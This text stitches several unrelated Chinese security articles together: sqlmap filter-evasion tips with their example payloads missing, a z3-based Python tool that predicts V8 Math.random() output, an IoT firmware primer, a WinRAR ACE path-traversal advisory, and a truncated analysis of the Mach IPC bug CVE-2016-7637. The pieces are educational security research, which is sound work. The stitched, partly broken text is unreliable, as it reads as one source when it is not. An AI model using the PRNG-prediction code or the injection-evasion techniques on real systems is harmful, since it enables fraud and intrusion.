* <https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html>
* * * | 社区文章 |
# 介绍sqlmap中的SQL注入filter逃逸
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://www.gracefulsecurity.com/sql-injection-filter-evasion/>
译文仅供参考，具体内容表达以及含义原文为准。
每当我发现一个SQL注入漏洞时,我都会在注入点使用sqlmap。这是一个操作简单易于使用的工具,不仅能证实漏洞,而且还可以提取相关数据、获得执行命令,以及执行进一步的实验操作。如果碰到filter或是网络应用防火墙,我会习惯性地打破Burp
Suite并且开始手动规避筛选,但是接下来介绍的这种方法更为简便。
规避用户内置filter而试图利用SQL注入的做法往往是试着用不同的字符设置相同载荷。以下面的有效载荷为例:
根据被筛选的荷载多少,我可以使用多种方法重写这部分荷载。例如下面这个更大的荷载,我会使用一个已编码的字符来取代它。
另外,我还可以简单地重新设置荷载格式,这样也可以达到同样的效果:
这些简单的重新设置都可以利用一种工具完成自动操作,那就是我们熟知并且乐于使用的sqlmap。如果你不熟悉这个工具,可以先通过sqlmap介绍简单了解一下。当你熟悉了它的界面之后,你会惊喜的发现,这种工具拥有“脚本更改”功能,该功能可以自动更改荷载然后直接发送给服务器,这样就可以规避开筛选。你可以通过当前的更改脚本列表快速查看当前可行的规避方法。每个脚本中都包含了一个简介和示例。通过下列的sqlmap指令实现的是利用URI编码的规避途径:
你还可以在同一行中键入不止一种筛选脚本,就像这样:
想要在运行中的应用程序中进行这种类型规避的话,可以查看GracefulSecurity’sVulnVM。只要使用正确的更改脚本你就能够在应用程序中发现两个隐藏着的第二级别的SQL注入漏洞。 | 社区文章 |
# 在NodeJS/Chrome/chromium中预测Math.random()
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 它不安全！
在MDN中，有这样一段话
> `Math.random()` _不能_ 提供像密码一样安全的随机数字。不要使用它们来处理有关安全的事情。使用Web Crypto API 来代替,
> 和更精确的[`window.crypto.getRandomValues()`](https://developer.mozilla.org/zh-> CN/docs/Web/API/RandomSource/getRandomValues) 方法.
在各种JavaScript环境中，`Math.random()`这个函数都是不安全的。这其实是因为，它们同时应用了一种名叫
`XorShift128+`的算法。V8从`v4.9.41.0`开始把随机数算法从`MWC1616`切换为`XorShift128+`（[博文](https://v8.dev/blog/math-random)），虽然这种算法在各项指标上优于原先的算法，但这依旧没有改变其不安全的本质。
因为根据其算法，我们可以很轻松的根据多个连续的生成值，获取生成器当前的状态，并以此推导出后续的值。
## 它不安全？
NodeJS进来逐渐成为流行的后端语言之一，它的JavaScript解释器使用了v8，而chrome/chromium也同样使用了v8，这就导致我们对于v8随机数生成的探究可以同时应用于NodeJS/Chrome/Chromium平台。
<div>
<img src="http://static.nodejs.cn/_static/img/logo.svg" width="32%">
<img src="https://v8.dev/_img/v8.svg" width="33%">
<img src="https://upload.wikimedia.org/wikipedia/commons/5/5f/Chromium_11_Logo.svg" width="32%">
</div>
接下来让我们来分析一下v8中对于Math.random()的实现。我们从上往下追踪`Math.random()`的调用
* 添加函数签名：这里向全局注册了`random`函数<https://chromium.googlesource.com/v8/v8/+/refs/heads/master/src/init/bootstrapper.cc#2754>
SimpleInstallFunction(isolate_, math, "random", Builtins::kMathRandom, 0, true);
* torque申明：v8使用一种他们自己发明的语言`torque`来完成内置函数的申明（他们称这种语言非常简单的帮助实现了ECMAScript的标准，然而你还需要为这一套语言单独编译一套额外的工具，真有你的啊<https://chromium.googlesource.com/v8/v8/+/refs/heads/master/src/builtins/math.tq#439>
// ES6 #sec-math.random
extern macro RefillMathRandom(NativeContext): Smi;
transitioning javascript builtin
MathRandom(js-implicit context: NativeContext, receiver: JSAny)(): Number {
let smiIndex: Smi = *NativeContextSlot(ContextSlot::MATH_RANDOM_INDEX_INDEX);
if (smiIndex == 0) {
// refill math random.
smiIndex = RefillMathRandom(context); // 重新生成
}
const newSmiIndex: Smi = smiIndex - 1; // 取下一个index(其实是上一个)
*NativeContextSlot(ContextSlot::MATH_RANDOM_INDEX_INDEX) = newSmiIndex;
const array: FixedDoubleArray =
*NativeContextSlot(ContextSlot::MATH_RANDOM_CACHE_INDEX); // 取缓存
const random: float64 =
array.floats[Convert<intptr>(newSmiIndex)].ValueUnsafeAssumeNotHole(); // 从缓存中取
return AllocateHeapNumberWithValue(random);
}
* cache生成：v8中随机数并不是当场生成的，它会在环境初始化或者缓存的随机数用光的时候统一生成。（程序局部性的最佳实践，点赞<https://chromium.googlesource.com/v8/v8/+/refs/heads/master/src/numbers/math-random.cc#35>
Address MathRandom::RefillCache(Isolate* isolate, Address raw_native_context) {
// 省略一部分
FixedDoubleArray cache =
FixedDoubleArray::cast(native_context.math_random_cache());
// Create random numbers.
for (int i = 0; i < kCacheSize; i++) { // kCacheSize = 64 in math-random.h
// Generate random numbers using xorshift128+.
base::RandomNumberGenerator::XorShift128(&state.s0, &state.s1);
cache.set(i, base::RandomNumberGenerator::ToDouble(state.s0));
}
pod.set(0, state);
Smi new_index = Smi::FromInt(kCacheSize);
native_context.set_math_random_index(new_index);
return new_index.ptr();
}
* XorShift128 和转浮点：随机数生成使用XorShift128+算法，`uint64`转`浮点`使用 `(state0 >> 12) | 0x3FF0000000000000`（其实就是`state0 >> 12` 作为浮点数的尾数<https://chromium.googlesource.com/v8/v8/+/refs/heads/master/src/base/utils/random-number-generator.h#111>
// Static and exposed for external use.
static inline double ToDouble(uint64_t state0) {
// Exponent for double values for [1.0 .. 2.0)
static const uint64_t kExponentBits = uint64_t{0x3FF0000000000000};
uint64_t random = (state0 >> 12) | kExponentBits;
return bit_cast<double>(random) - 1;
}
// Static and exposed for external use.
static inline void XorShift128(uint64_t* state0, uint64_t* state1) {
uint64_t s1 = *state0;
uint64_t s0 = *state1;
*state0 = s0;
s1 ^= s1 << 23;
s1 ^= s1 >> 17;
s1 ^= s0;
s1 ^= s0 >> 26;
*state1 = s1;
}
从流程中，我们可以看出v8会在开始的时候先初始化按顺序生成一个随机数cache，大小为64，然后一次从后往前取，取完再重新生成一遍。随机数的生成依据
`Xor Shift 128` 算法。我们用python大致实现一下
import struct
from typing import Any
from sympy import solve
from z3 import BitVecs, Or, Solver, sat, LShR, BitVecRef
MASK = 0xFFFFFFFFFFFFFFFF
class XorShift128:
def __init__(self, state0: int, state1: int) -> None:
self.state0 = state0
self.state1 = state1
def current_double(self) -> float:
double_bits = (self.state0 >> 12) | 0x3FF0000000000000
double = struct.unpack('d', struct.pack('<Q', double_bits))[0] - 1
return double
def next(self):
s1 = self.state0
s0 = self.state1
s1 ^= (s1 << 23) & MASK
s1 ^= (s1 >> 17) & MASK
s1 ^= s0 & MASK
s1 ^= (s0 >> 26) & MASK
self.state0 = self.state1 & MASK
self.state1 = s1 & MASK
def last(self):
s1 = self.state0
s0 = self.state1
s0 ^= (s1 >> 26) & MASK
s0 ^= s1 & MASK
s0 ^= ((s0 >> 17) ^ (s0 >> 34) ^ (s0 >> 51)) & MASK
s0 ^= ((s0 << 23) ^ (s0 << 46)) & MASK
self.state0 = self.state0 & MASK
self.state1 = s0 & MASK
def next_double(self):
self.next()
return self.current_double()
def last_double(self):
self.last()
return self.current_double()
所以我们可以得出这样一个结论
random_numbers = [n0, n1, n2, n3, n4, n5] # generated by `Array.from({length:5}).map(Math.random)`
# 内部生成的顺序其实是 n5, n4, n3, n2, n1, n0
generator = XorShift128(state0, state1)
for i in random_numbers[::-1]:
assert(generator.next_double() == i)
这时候，如果我们能根据上式算出`state0,
state1`，我们就可以推测出下一个随机数（其实是n5的上一个，我们借助`python`的`z3`模块完成这个计算
class XorShift128Symbol:
def __init__(self) -> None:
self.state0, self.state1 = BitVecs("state0 state1", 64)
self.s0, self.s1 = self.state0, self.state1
self.solver = Solver()
def assert_current_double(self, num: float) -> None:
recovered = struct.unpack('<Q', struct.pack('d', num + 1))[0] & (MASK >> 12)
self.solver.add(LShR(self.state0, 12) == recovered)
def assert_next_double(self, num: float) -> None:
self.next()
self.assert_current_double(num)
def next(self):
s1 = self.state0
s0 = self.state1
s1 ^= (s1 << 23)
s1 ^= LShR(s1, 17)
s1 ^= s0
s1 ^= LShR(s0, 26)
self.state0 = self.state1
self.state1 = s1
def check(self) -> Tuple[int, int]:
if self.solver.check() == sat:
m = self.solver.model()
self.solver.add(Or(self.s0 != m[self.s0], self.s1 != m[self.s1]))
if self.solver.check() == sat:
raise Exception("multiple solution")
s0: Any = m[self.s0]
s1: Any = m[self.s1]
return s0.as_long(), s1.as_long()
else:
raise Exception("No solution")
def solve(randoms: List[float], n: int) -> List[float]:
cracker = XorShift128Symbol()
for i in randoms[::-1]:
cracker.assert_next_double(i)
s0, s1 = cracker.check()
generator = XorShift128(s0, s1)
return [generator.current_double(), *(generator.last_double() for i in range(n-1))]
我们来测试一下
if __name__ == "__main__":
inp = json.loads(os.popen('node -e "console.log(JSON.stringify(Array.from({length:15}).map(Math.random)))"').read())
res = solve(inp[:5], 10)
for i in range(5, 15):
assert(res[i-5]==inp[i])
print(inp[5:])
print(res)
芜湖，成功预测！
我们既然知道了当前随机数生成器的状态，那么当前cache中所有的数字我们也都可以知道了。这对于一个依赖于随机数的应用来说，将会带来灾难性的后果。（假设存在一个后端使用了`NodeJS`并且使用`Math.random()`的彩票应用，那么我们便可以估算一段时间内所有的结果，赢得巨大的奖项
其实在Firefox/Safari中也同样使用了这种随机数算法。只要稍微修改一下`current_double`的实现就可以。
## 它不安全。
所以，不要在有安全需要的地方使用`Math.random()`函数，如果需要一个安全的随机数生成，可以使用新的`Web Crypto API`或者
`NodeJS`的`crypto`模块，但是，这些安全的随机数算法的消耗同样也是巨大的，高频的调用会导致应用性能大大降低。
仔细考虑你的随机数的需求，选择一个合适你自己的算法才是最重要的。
## 参考文章
* <https://v8.dev/docs/torque>
* <https://v8.dev/blog/math-random>
* <https://en.wikipedia.org/wiki/Xoroshiro128%2B>
* <https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f#.mwvrmr6aq> | 社区文章 |
# 物联网终端安全入门与实践之了解物联网终端 下篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> **上期讲到了物联网终端关于硬件方面的一些基础知识，接下来我们再来聊聊固件。**
## 一、固件概述
固件因存储在硬件电子器件中，并且在以前一般不会对其进行更改，所以有固化在硬件中的软件的含义。随着技术的不断发展，修改固件以适应不断更新的硬件环境成了用户们的迫切要求，所以，可重复写入的可编程可擦除只读存储器EPROM、EEPROM和Flash出现了。这些芯片是可以重复刷写的，让固件得以修改和升级。
固件在物联网终端设备中有举足轻重的作用，可以说是终端设备的灵魂，终端设备没有固件就如同没有了操作系统的电脑一样无法正常运行。
作为设备中非常重要的数据， **固件会被写入像EEPROM和Flash等非易失性存储器件中**
，以确保其不会被意外删除，而固件作为一种存储在硬件中的软件，当设备通电时，固件是第一个运行的部分， **它无需通过API、操作系统或设备驱动程序即可运行**
，从而为设备提供所需的指令和指示，以便与其他设备进行通信或按预期执行基本任务和功能。
## 二、固件、驱动和应用软件的对比
有很多同学对固件、驱动以及普通应用程序之间有什么异同不太清楚，这里来进行说明一下：
### 相似处
三者都是广义上的软件
### 差异性
**固件和应用软件**
* 固件提供帮助硬件启动、与其他设备通信以及执行基本输入/输出任务的指令；应用软件安装在设备上用于人机交互，例如浏览互联网、文字处理、听音乐和视频会议
**固件和驱动程序**
* 固件直接存储在硬件设备上；驱动程序安装在设备的操作系统中
固件可以自行启动；驱动程序得依赖于操作系统运行
固件是指引硬件设备如何运行；驱动程序则是充当操作系统和硬件之间的信使的软件，来帮助用户更好的去操作硬件
## 三、固件、驱动和应用软件的对比
### 3.1总体构成
其实固件在我们生活和工作中处处可见。我们知道 **固件是在设备上电时第一个运行的软件**
，这里对Windows有所了解的同学可能会想到BIOS（简单概述：BIOS
位于计算机主板的芯片上，在设备通电时，发出指令使设备的操作系统能够加载）。BIOS的确是一种固件，较新的UEFI也是固件。除此之外，像照相机、遥控器、智能门锁、智能穿戴设备、路由器、摄像头等等设备中都存有固件。
对于物联网终端设备，把 **上电后来引导设备正常启动的程序称为bootloader**
，但由于物联网终端一般体积较小，为了节省成本，各家厂商并不会只将bootloader这一个程序单独打包为一个固件存入一个电子器件中，常见的是会把系统内核程序、文件系统等一并打包到固件中。所以现在所说的固件会有很多形式，有的可能只是简单的硬件配置程序，文件很小，有的固件则可能包含了操作系统等数据。
嵌入式Linux、嵌入式Windows内核以及各种实时操作系统（RTOS）的区别，以及厂商在集成、封装工艺等方面的区别，导致物联网终端设备的固件在格式上产生了很大的差异。
如常见的基于嵌入式Linux内核的设备，是将bootloader、内核和文件系统（可能会存在多种文件系统，如基于嵌入式Linux内核的OpenWRT系统的设备）以特定格式打包组合在一起成为一个固件，进行解包后，会是几块独立的文件数据；而像RTOS类型的设备，它的固件则是在编译环节就将上述内容融合在了一起成为一个整体的文件，后续所有数据的使用都需要通过偏移来寻找。
### 3.2 Bootloader
bootloader是设备上电或复位后运行的一段小程序。这段程序将系统的软硬件环境带到一个合适的状态，为最终调用应用程序准备好正确的环境，
**具体作用主要包括完成处理器和周边电路正常运行所需要的初始化工作、RAM初始化、内核镜像调用、内核解密、文件系统解密等。**
对于嵌入式系统，bootloader是基于特定硬件平台来实现的。因此，几乎不可能为所有的嵌入式系统建立一个通用的bootloader，不同的处理器架构都有不同的bootloader。bootloader不但依赖于CPU的体系结构，而且依赖于嵌入式系统板级设备的配置。对于2块不同的嵌入式板而言，即使它们使用同一种处理器，要想让运行在一块板子上的bootloader程序也能运行在另一块板子上，一般也都需要修改bootloader的源程序进行适配。
**但大部分bootloader仍然具有很多共性，某些bootloader也能够支持多种体系结构的嵌入式系统。**
例如，U-Boot就同时支持PowerPC、ARM、MIPS和X86等体系结构，支持的板子有上百种。下图展示了常见的bootloader的基本信息和对不同架构体系的支持情况。
在物联网终端设备中， **常见的bootloader包括Redboot、u-boot、barebox等**
，但由于现在多数bootloader都是开源项目，所以存在安全问题的可能性不大，不过我们可以通过对bootloader的分析，获取一些系统信息，为后续的设备研究做好铺垫。
### 3.3内核
**内核，是操作系统的核心。**
是基于硬件的第一层软件扩充，提供操作系统的最基本的功能，是操作系统工作的基础，它负责管理系统的进程、内存、设备驱动程序、文件和网络系统，决定着系统的性能和稳定性。
**常见的Linux内核映像文件有两种：一种是非压缩版本，叫Image；另一种是它的压缩版本，叫zImage。**
zImage是Image经过压缩形成的，所以它的大小比Image小。为了能使用zImage这个压缩版本，必须在它的开头或者定制的bootloader中加上解压缩的代码，将zImage
解压缩之后才能执行，因此它的执行速度比Image要慢。但考虑到嵌入式系统的存储容量一般都比较小，内核要常驻内存，采用zImage可以占用较少的存储空间，因此牺牲一点性能上的代价也是值得的，所以一般嵌入式系统均采用压缩的内核映像文件，即zImage。
**内核由bootloader进行加载，当bootloader完成硬件环境初wenjian始化后，便会进入内核映像加载阶段。**
常见的是先将内核映像文件复制SDRAM环境中，然后跳转到它的入口点即可调用内核，但在此之前，bootloader需要给内核设置启动参数，因为内核并不是对于所有的开发板都能完美适配，此时对于硬件的环境并不清楚，所以，要想顺利启动内核，bootloader必须要给内核传递一些必要的信息来告诉内核当前的环境，这些信息主要包括CPU
ID、内存的起始地址、内存大小、内核启动后挂载文件系统的方式等。
### 3.4文件系统
当bootloader完成内核的加载后，系统内核便会加载文件系统，完成设备的完整启动。
文件系统是操作系统用于明确存储设备或分区上的文件的方法和数据结构，像Windows操作系统常用的文件系统有FAT、NTFS、HPFS等，Linux操作系统常用的文件系统有ext3、ext4等。对于物联网终端设备，其硬件资源在存储能力以及内存等方面有诸多限制，所以常见的一般都是压缩文件系统，如基于Linux内核操作系统的文件系统有SquashFS、JFFS2、YAFFS2等，基于rtos的实时操作系统常见的文件系统有SPIFFS和LittleFS。
以基于Linux内核的物联网终端设备为例， **较为常见的文件系统是SquashFS和JFFS2**
。SquashFS文件系统是一种只读压缩文件系统，可以使用unsquashfs等开源工具从中提取数据，而JFFS2是一种可写的日志结构文件系统。
**根据文件系统的特性，不同操作系统可灵活搭配这些文件系统达到不同的效果**
，如有些设备不允许用户对其进行灵活配置，所以往往采用单SquashFS文件系统；而有些开源的操作系统为了给到用户自己做更灵活的深层次配置，往往会采用多文件系统来实现这个效果，像OpenWRT常使用SquashFS等只读文件系统来存储busybox、iptables等基础文件。由于自定义配置这些文件的意义不大，并且误删或损毁后设备可能无法正常运行，所以不允许用户自己随意定制。而在应用软件层面上给到了用户极大程度的可定制化功能，往往是通过使用可写文件系统来实现这些定制化功能，如安装其他软件包等。
## 四、本章结语
本期 **《物联网终端安全入门与实践》之了解物联网终端**
部分已完全结束，固件对于物联网终端设备的安全研究极为重要，特别是文件系统这一块数据。由于固件中的程序包含了部分厂商自研程序，暴露出了一定的攻击面，存在潜在的安全风险。因此我们后续针对设备的安全研究很大一部分时间和精力会聚焦在固件及其文件系统（比如固件的仿真、固件文件系统的提取、固件文件系统的脆弱性分析等）。
* * *
> 下一期我们将发布《物联网终端安全入门与实践》系列第二章 **《玩转物联网固件》** ，大家敬请期待哦！ | 社区文章 |
2019年2月20日，Check
Point公布了之前向WinRAR报告的几个安全漏洞，攻击者可利用该漏洞制作恶意ACE格式文件，当该文件被WinRAR解压缩的时候，能利用UNACEV2.dll中的路径遍历漏洞欺骗WinRAR将文件解压缩到攻击者指定的路径。使用该漏洞将恶意文件释放到启动文件夹中能使系统在启动时执行恶意程序。
# WinRAR组件介绍
UNACE.DLL是WinRAR所使用的一个陈旧的动态链接库，用于处理ACE格式的文件，该动态链接库在2006年被编译，没有任何防护措施。
# 漏洞描述
WinRAR在解压处理ACE格式的文件的过程中存在一处目录穿越漏洞，该漏洞允许解压过程中向任意目录写入文件，利用该漏洞可以向开机启动目录中写入恶意文件导致机器开机时执行恶意代码。
# 漏洞复现
安装的WinRAR版本
存在漏洞的组件UNACEV2.DLL版本
解压恶意ACE文档前的目录结构
解压恶意文档
执行解压缩之后的目录结构
# 影响版本
WinRAR < 5.70 Beta 1
# 修复建议
更新到WinRAR最新版本 5.70 Beta 1
下载地址如下
32位：<http://win-rar.com/fileadmin/winrar-versions/wrar57b1.exe>
64位：<http://win-rar.com/fileadmin/winrar-versions/winrar-x64-57b1.exe> | 社区文章 |
来源：[turingh.github.io](http://turingh.github.io/2017/01/10/CVE-2016-7637-%E5%86%8D%E8%B0%88Mach-IPC/)
作者：[turingH](https://github.com/turingH)
> 为学大病在好名。
## 0x00 摘要
去年在分析[CVE-2016-1757](http://turingh.github.io/2016/07/05/%E5%86%8D%E7%9C%8BCVE-2016-1757%E6%B5%85%E6%9E%90mach%20message%E7%9A%84%E4%BD%BF%E7%94%A8/)时，初步的接触了`Mach`在`IPC`系统中使用的`Message`，在分析最近的一系列与`IPC`模块相关的漏洞时，又加强对`IPC`模块的理解，所以通过一到两篇文章梳理一下最近的学习总结与心得体会。
关于[CVE-2016-7637](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7637)这个漏洞的描述有很多资料了，是一个攻击`Mach`的内核`IPC`模块的漏洞，本文最后会对漏洞做出比较详细的解释，这里给出几个链接，不熟悉这个漏洞的读者可以先了解一下。
[黑云压城城欲摧 -2016年iOS公开可利用漏洞总结](https://jaq.alibaba.com/community/art/show?articleid=687)
[mach portal漏洞利用的一些细节](http://blog.pangu.io/mach-portal-details/)
[Broken kernel mach port name uref](https://bugs.chromium.org/p/project-zero/issues/detail?id=959&can=1&q=apple&sort=-id)
## 0x01 什么是Port
对于一般的开发者，在用到`Port`的时候可以简单的将`Port`理解为进程间通信所使用的类似于`Socket`的东西，可以用他来发送消息，也可以用来接收消息。
下面我们来一步一步的构建对整个模块的理解。
已经知道`Port`是什么的读者可以跳过这一个部分。
### 1.1 利用Port传递数据
`Port`最简单的可以理解为一个内核中的消息队列。不同的`Task`通过这个消息队列相互传递数据。而`Port`就是用于找到这个队列的索引。
### 1.2 Port、Port Name 与 Right
通过函数`mach_port_allocate`就可以在内核中建立一个消息队列，并获取一个与之对应的的`Port`。代码如下。
mach_port_t p;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
通过查看内核源码，
/*
* Purpose:
* Allocates a right in a space. Like mach_port_allocate_name,
* except that the implementation picks a name for the right.
* The name may be any legal name in the space that doesn't
* currently denote a right.
*/
kern_return_t
mach_port_allocate(
ipc_space_t space,
mach_port_right_t right,
mach_port_name_t *namep)
{
kern_return_t kr;
mach_port_qos_t qos = qos_template;
kr = mach_port_allocate_full (space, right, MACH_PORT_NULL,
&qos, namep);
return (kr);
}
仔细看的话会发现，对我们刚刚申请的`p`出现了好几个解释，一下就晕了。
* 在应用层代码中，p被定义为`mach_port_t`。
* 在内核中代码中，`namep`是`mach_port_name_t`。
* 在注释中又说，Allocates a RIGHT in a space。
#### 1.2.1 Port与Port Name
通过调试器观察一下，可以发现，
(lldb) p p
(mach_port_t) $0 = 3331
* frame #0: 0xffffff801d4ee11d kernel`mach_port_allocate_full(space=0xffffff8024ceac00, right=1, proto=0x0000000000000000, qosp=0xffffff887d7b3ef0, namep=0xffffff887d7b3eec
在应用层的`mach_port_t`是一个已经经过代码处理的类似于`Socket`的一个整数，来表示这个`Port`。
而`namep`在内核之中是一个地址，指向了一块用来索引`Port`的内存，具体的实现在本文的后面会有更详细的解释。
#### 1.2.2 Right
这里注释所说的`Right`简单的理解，其实是一个`Port`和对这个`Port`进行访问的权限。每一个`Port`代表的消息队列并不是可以任意访问的，需要有对这个队列的访问权限。各种权限在头文件中的定义如下。
#define MACH_PORT_RIGHT_SEND ((mach_port_right_t) 0)
#define MACH_PORT_RIGHT_RECEIVE ((mach_port_right_t) 1)
#define MACH_PORT_RIGHT_SEND_ONCE ((mach_port_right_t) 2)
#define MACH_PORT_RIGHT_PORT_SET ((mach_port_right_t) 3)
#define MACH_PORT_RIGHT_DEAD_NAME ((mach_port_right_t) 4)
#define MACH_PORT_RIGHT_NUMBER ((mach_port_right_t) 5)
每种`Right`都有不同的含义，可以自行查阅文档。
这里需要简单的提一下的就是每一个`Port`都有且只有`Task`对其拥有`RECEIVE`的权限，`SEND`的权限不限。拥有`MACH_PORT_RIGHT_RECEIVE`时也可以对`Port`进行消息的Send。
### 1.3 Port的具体实现
阅读`mach_port_allocate_full`函数的源码，最终在一个`port`的创建流程中，最主要的函数是`ipc_port_alloc`以及在其实现中调用的`ipc_object_alloc`。
kern_return_t
ipc_port_alloc(
ipc_space_t space,
mach_port_name_t *namep,
ipc_port_t *portp)
{
ipc_port_t port;
mach_port_name_t name;
kern_return_t kr;
kr = ipc_object_alloc(space, IOT_PORT,
MACH_PORT_TYPE_RECEIVE, 0,
&name, (ipc_object_t *) &port);
if (kr != KERN_SUCCESS)
return kr;
/* port and space are locked */
ipc_port_init(port, space, name);
[...]
*namep = name; <--namep是从这里来的。
*portp = port;
return KERN_SUCCESS;
}
很明显，`port`和`name`两个变量都是由函数`ipc_object_alloc`中获取的。关键源码如下。
kern_return_t
ipc_object_alloc(
ipc_space_t space,
ipc_object_type_t otype,
mach_port_type_t type,
mach_port_urefs_t urefs,
mach_port_name_t *namep,
ipc_object_t *objectp)
{
ipc_object_t object;
ipc_entry_t entry;
kern_return_t kr;
[...]
//从zone中申请内存,这个object就是ipc_port
object = io_alloc(otype);
[...]
//获取namep和entry
*namep = CAST_MACH_PORT_TO_NAME(object);
kr = ipc_entry_alloc(space, namep, &entry);
if (kr != KERN_SUCCESS) {
io_free(otype, object);
return kr;
}
/* space is write-locked */
//设置关键的参数
entry->ie_bits |= type | urefs;
entry->ie_object = object;
ipc_entry_modified(space, *namep, entry);
io_lock(object);
object->io_references = 1; /* for entry, not caller */
object->io_bits = io_makebits(TRUE, otype, 0);
*objectp = object;
return KERN_SUCCESS;
}
#### 1.3.1 IPC Space 和 IPC Entry
细心的读者会发现前面有个叫做`space`的参数没有解释。这里又出现了一个新的结构叫做`entry`。他们是有关系的，这里我们来一起解释一下。
> Each task has a private IPC _space_ a namespace for portsthat is represented
> by the ipc_space structure in the kernel.
>
> Mac OS X Internals
每一个`Task`都有一个自己独立的`IPC`的数据空间，就是这里的`space`。他的数据结构是定义如下。
// osfmk/ipc/ipc_space.h
typedef natural_t ipc_space_refs_t;
struct ipc_space {
decl_mutex_data(,is_ref_lock_data)
ipc_space_refs_t is_references;
decl_mutex_data(,is_lock_data)
// is the space active?
boolean_t is_active;
// is the space growing?
boolean_t is_growing;
// table (array) of IPC entries
// 这个是最重要的，存放了所有的entry
ipc_entry_t is_table;
// current table size
ipc_entry_num_t is_table_size;
// information for larger table
struct ipc_table_size *is_table_next;
// splay tree of IPC entries (can be NULL)
struct ipc_splay_tree is_tree;
// number of entries in the tree
ipc_entry_num_t is_tree_total;
// number of "small" entries in the tree
ipc_entry_num_t is_tree_small;
// number of hashed entries in the tree
ipc_entry_num_t is_tree_hash;
// for is_fast_space()
boolean_t is_fast;
};
而我们研究的对象 `Mach Ports`全都存储在`is_table`这个数组中，这个数组就是由`ipc_entry`组成的。
struct ipc_entry {
struct ipc_object *ie_object; //ipc_port_t
ipc_entry_bits_t ie_bits; //gen|0|0|0|capability|user reference
mach_port_index_t ie_index;
union {
mach_port_index_t next; /* next in freelist, or... */
ipc_table_index_t request; /* dead name request notify */
} index;
};
用一张书上的图，很清楚的表明了他们之间的关系。
#### 1.3.2 ipc_port
相对而言ipc_port的数据结构就较为简单了。在复制给`space`的`ie_object`之后，通过`ipc_port_init`函数的初始化，就完成了`port`的创建了。
ipc_port_init(
ipc_port_t port,
ipc_space_t space,
mach_port_name_t name)
{
/* port->ip_kobject doesn't have to be initialized */
port->ip_receiver = space;
port->ip_receiver_name = name;
port->ip_mscount = 0;
port->ip_srights = 0;
port->ip_sorights = 0;
port->ip_nsrequest = IP_NULL;
port->ip_pdrequest = IP_NULL;
port->ip_requests = IPR_NULL;
port->ip_premsg = IKM_NULL;
port->ip_context = 0;
port->ip_sprequests = 0;
port->ip_spimportant = 0;
port->ip_impdonation = 0;
port->ip_tempowner = 0;
port->ip_guarded = 0;
port->ip_strict_guard = 0;
port->ip_impcount = 0;
port->ip_reserved = 0;
ipc_mqueue_init(&port->ip_messages,
FALSE /* !set */, NULL /* no reserved link */);
}
这里同样的用书上的一张图就可以很简单的解释清楚了。
## 0x02 POC的分析
POC原来的writeup在[这里](https://bugs.chromium.org/p/project-zero/issues/detail?id=959&can=1&q=apple&sort=-id)。
原文已经解释的非常清楚了，我就不画蛇添足了。简单记录一下我自己在分析的过程中的一些问题。
### 2.1 port的user reference计数代表了什么？
一个`port`的`user
reference`只表示了某个`entry`在`task`的`space`中被多少个地方使用，和`entry`实际指向哪个`port`没有关系。
### 2.2 ipc_right_dealloc函数是只释放了entry还是同时也在内存中释放了port？
`ipc_right_dealloc`函数相关部分源码如下：
kern_return_t
ipc_right_dealloc(
ipc_space_t space,
mach_port_name_t name,
ipc_entry_t entry)
{
ipc_port_t port = IP_NULL;
ipc_entry_bits_t bits;
mach_port_type_t type;
bits = entry->ie_bits;
type = IE_BITS_TYPE(bits);
assert(is_active(space));
switch (type) {
[...]
case MACH_PORT_TYPE_SEND: {
[...]
port = (ipc_port_t) entry->ie_object;
[...]
//如果在task内entry的reference已经为1了就
//释放entry
//如果计数不为1，就将计数减一
if (IE_BITS_UREFS(bits) == 1) {
if (--port->ip_srights == 0) {
nsrequest = port->ip_nsrequest;
if (nsrequest != IP_NULL) {
port->ip_nsrequest = IP_NULL;
mscount = port->ip_mscount;
}
}
[...]
entry->ie_object = IO_NULL;
ipc_entry_dealloc(space, name, entry);
is_write_unlock(space);
ip_release(port);
} else {
ip_unlock(port);
entry->ie_bits = bits-1; /* decrement urefs */
ipc_entry_modified(space, name, entry);
is_write_unlock(space);
}
[...]
return KERN_SUCCESS;
}
所以当`entry`计数为1的时候，调用了`ipc_entry_dealloc`，`ipc_entry_dealloc`不会将`entry`对应的内存释放，而是将其放入一个`free_list`等待重复使用。`entry`的内存不会释放，而且`entry`在`is_table`中的`index`也并不会改变，只是被放到了一个结构管理的队列中去了。
对于`Port`来说，内核调用了`ip_release`，这个函数的作用是减少`ipc_object`自身的`reference`，如果`port`的索引变为0了，那就会被释放，如果系统中还有其他的进程在使用这个`port`，那么这个`port`就不会被释放。
### 2.3 如何通过调试器调试漏洞触发的现场?
一开始我想的方法是对`ipc_right_copyout`下条件断点，条件是`entry->ie_bits&0xffff ==
0xfffe`。但是因为`ipc_right_copyout`这个函数在内核中的调用太过于频繁，导致虚拟机跑太卡了。
只能通过逆向，在汇编代码处下断点。（内核版本10.12_16A323）
对应的就是出bug的代码段。
if (urefs+1 == MACH_PORT_UREFS_MAX) {
if (overflow) {
/* leave urefs pegged to maximum */ <---- (1)
port->ip_srights--;
ip_unlock(port);
ip_release(port);
return KERN_SUCCESS;
}
ip_unlock(port);
return KERN_UREFS_OVERFLOW;
}
所以通过断点
b *(0xffffff80002e6fbb + kslide)
就可以得到漏洞触发时的情况。
### 2.4 port替换的原理是什么?
port是通过`port
name`在task中来获取的。在前文中提到，`namep`是通过函数`ipc_entry_alloc`来获取的。查看获取到`namep`的核心代码如下：
kern_return_t
ipc_entry_claim(
ipc_space_t space,
mach_port_name_t *namep,
ipc_entry_t *entryp)
{
ipc_entry_t entry;
ipc_entry_t table;
mach_port_index_t first_free;
mach_port_gen_t gen;
mach_port_name_t new_name;
table = &space->is_table[0];
first_free = table->ie_next;
assert(first_free != 0);
entry = &table[first_free]; //[1]
table->ie_next = entry->ie_next;
space->is_table_free--;
assert(table->ie_next < space->is_table_size);
/*
* Initialize the new entry. We need only
* increment the generation number and clear ie_request.
*/
gen = IE_BITS_NEW_GEN(entry->ie_bits); //[2]
entry->ie_bits = gen;
entry->ie_request = IE_REQ_NONE;
/*
